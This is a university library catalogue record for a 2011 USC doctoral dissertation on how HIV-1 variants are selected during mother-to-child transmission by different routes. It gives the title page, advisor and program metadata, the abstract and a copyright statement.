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ROUTE-‐SPECIFIC SELECTION DURING MOTHER-‐TO-‐CHILD TRANSMISSION OF HIV-‐1 by Kyle J Nakamura A Dissertation Presented to the FACULTY OF THE USC GRADUATE SCHOOL UNIVERSITY OF SOUTHERN CALIFORNIA In Partial Fulfillment of the Requirements for the Degree DOCTOR OF PHILOSOPHY (SYSTEMS BIOLOGY AND DISEASE) August 2011 Copyright 2011 Kyle J Nakamura
Object Description
|Route-specific selection during mother-to-child transmission of HIV-1
|Nakamura, Kyle J.
|Author email
|Doctor of Philosophy
|Document type
|Degree program
|Systems Biology and Disease
|Keck School of Medicine
|Date defended/completed
|Date submitted
|Date approved
|Restricted until
|Date published
|Advisor (committee chair)
|Aldrovandi, Grace M.
|Advisor (committee member)
Nash, Kevin A.
Cannon, Paula M.
Watanabe, Richard M.
|The struggle to contain and extinguish the worldwide HIV/AIDS pandemic, now in its 30th year, may represent the single greatest challenge faced by modern medical science. Despite billions of dollars in research funding and the dedicated work of thousands of scientists and clinicians HIV/AIDS has already claimed over 25 million lives. There are ~33 million people currently living with HIV and ~2.7 million new infections occurred last year. Approximately 2.1 million children are currently HIV+, the vast majority of who acquired the virus from their mothers. While great strides have been made in the development of drugs to treat HIV infection, such medications are expensive and the majority of people who need them currently lack access. Efforts at developing an HIV vaccine have met with almost relentless failure, and only one human trial has thus far produced modest positive results. One of the greatest challenges facing HIV vaccine development is the incredible genetic heterogeneity of circulating viral strains, and HIVs ability to rapidly mutate in order to escape immune pressure. ❧ There is some hope. HIV transmission is extremely inefficient, often resulting from the outgrowth of a single genetic variant. This extreme genetic bottleneck implies the action of powerful selective forces, yet there is precious little data available on the genetic and functional properties of variants that successfully establish infection in a new host, and almost no data on how these selective criteria may vary by route of transmission. An improved understanding of the selective forces acting on viral variants during transmission could open up new strategies to interfere with the process. By answering the question "what defines a winner?" we can refine our approaches to specifically target the viral variants most capable of establishing chronic infection in a susceptible host. ❧ In this context, mother-to-child transmission (MTCT) represents both an important medical and humanitarian concern, as well as a powerful system in which to study transmission dynamics. Unlike other forms of transmission, MTCT allows unambiguous identification of the source donor. Furthermore, MTCT involves three distinct, mutually exclusive, and serial exposures (in utero, during labor and delivery, and postnatally by breastfeeding). By studying the early-transmitted virus from the infected infants, and comparing those variants to the virus circulating in the chronically infected mothers, we can identify the specific features selected for during transmission and how that selection may vary by exposure. This knowledge will, in turn, help us unravel the molecular mechanisms underlying HIV transmission, and ultimately provide new targets for intervention. ❧ In our study we explore the genotypic and phenotypic selection that occurs during transmission of HIV from mother to child. We define a unique 'molecular signature' for virus transmitted in utero and by breastfeeding. This study represents, to our knowledge, the first description of transmission-route-specific selection in HIV; and as such permanently alters the way in which MTCT should be approached. We also describe a series of HIV infected subjects harboring antibody resistant variants previously thought to be extremely rare, but which appear to occur with greater frequency in pregnant women and their infected offspring. The identification and characterization of these variants has implications for both vaccine development and our understanding of the structure/function of HIV's envelope protein.
|HIV; AIDS; mother-to-child transmission
|Part of collection
|University of Southern California dissertations and theses
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|University of Southern California
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|Los Angeles, California
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|University of Southern California. Libraries
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|University of Southern California
|Nakamura, Kyle J.
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|The author retains rights to his/her dissertation, thesis or other graduate work according to U.S. copyright law. Electronic access is being provided by the USC Libraries in agreement with the author, as the original true and official version of the work, but does not grant the reader permission to use the work if the desired use is covered by copyright. It is the author, as rights holder, who must provide use permission if such use is covered by copyright. The original signature page accompanying the original submission of the work to the USC Libraries is retained by the USC Libraries and a copy of it may be obtained by authorized requesters contacting the repository e-mail address given.
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|ROUTE-‐SPECIFIC SELECTION DURING MOTHER-‐TO-‐CHILD TRANSMISSION OF HIV-‐1 by Kyle J Nakamura A Dissertation Presented to the FACULTY OF THE USC GRADUATE SCHOOL UNIVERSITY OF SOUTHERN CALIFORNIA In Partial Fulfillment of the Requirements for the Degree DOCTOR OF PHILOSOPHY (SYSTEMS BIOLOGY AND DISEASE) August 2011 Copyright 2011 Kyle J Nakamura